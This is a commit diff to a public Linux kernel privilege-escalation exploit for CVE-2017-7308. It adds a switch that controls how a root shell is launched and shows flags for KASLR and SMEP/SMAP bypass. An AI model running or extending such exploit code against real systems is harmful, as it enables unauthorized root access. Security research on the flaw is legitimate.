Add FORK_SHELL switch for CVE-2017-7308

CVE-2017-7308/CVE-2017-7308.c

@@ -51,6 +51,9 @@
 // - additional kernel targets
 // - additional KASLR bypasses
 // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-7308
+// ---
+// Updated by Andrey Konovalov <andreyknvl@gmail.com>
+// - add FORK_SHELL switch to specify shell launch mode
 
 #define _GNU_SOURCE
 
@@ -91,6 +94,9 @@
 #       define dprintf
 #endif
 
+// It's recommended to enable this when running on a target system.
+#define FORK_SHELL			0
+
 #define ENABLE_KASLR_BYPASS		1
 #define ENABLE_SMEP_SMAP_BYPASS		1
 
@@ -660,9 +666,13 @@ void check_root() {
 
 	dprintf("[+] got r00t ^_^\n");
 
+#if FORK_SHELL
 	// Fork and exec instead of just doing the exec to avoid potential
 	// memory corruptions when closing packet sockets.
 	fork_shell();
+#else
+	exec_shell();
+#endif
 }
 
 bool write_file(const char* file, const char* what, ...) {
@@ -775,7 +785,9 @@ int main(int argc, char *argv[]) {
 
 	check_root();
 
+#if FORK_SHELL
 	while (1) sleep(1000);
+#endif
 
 	return 0;
 }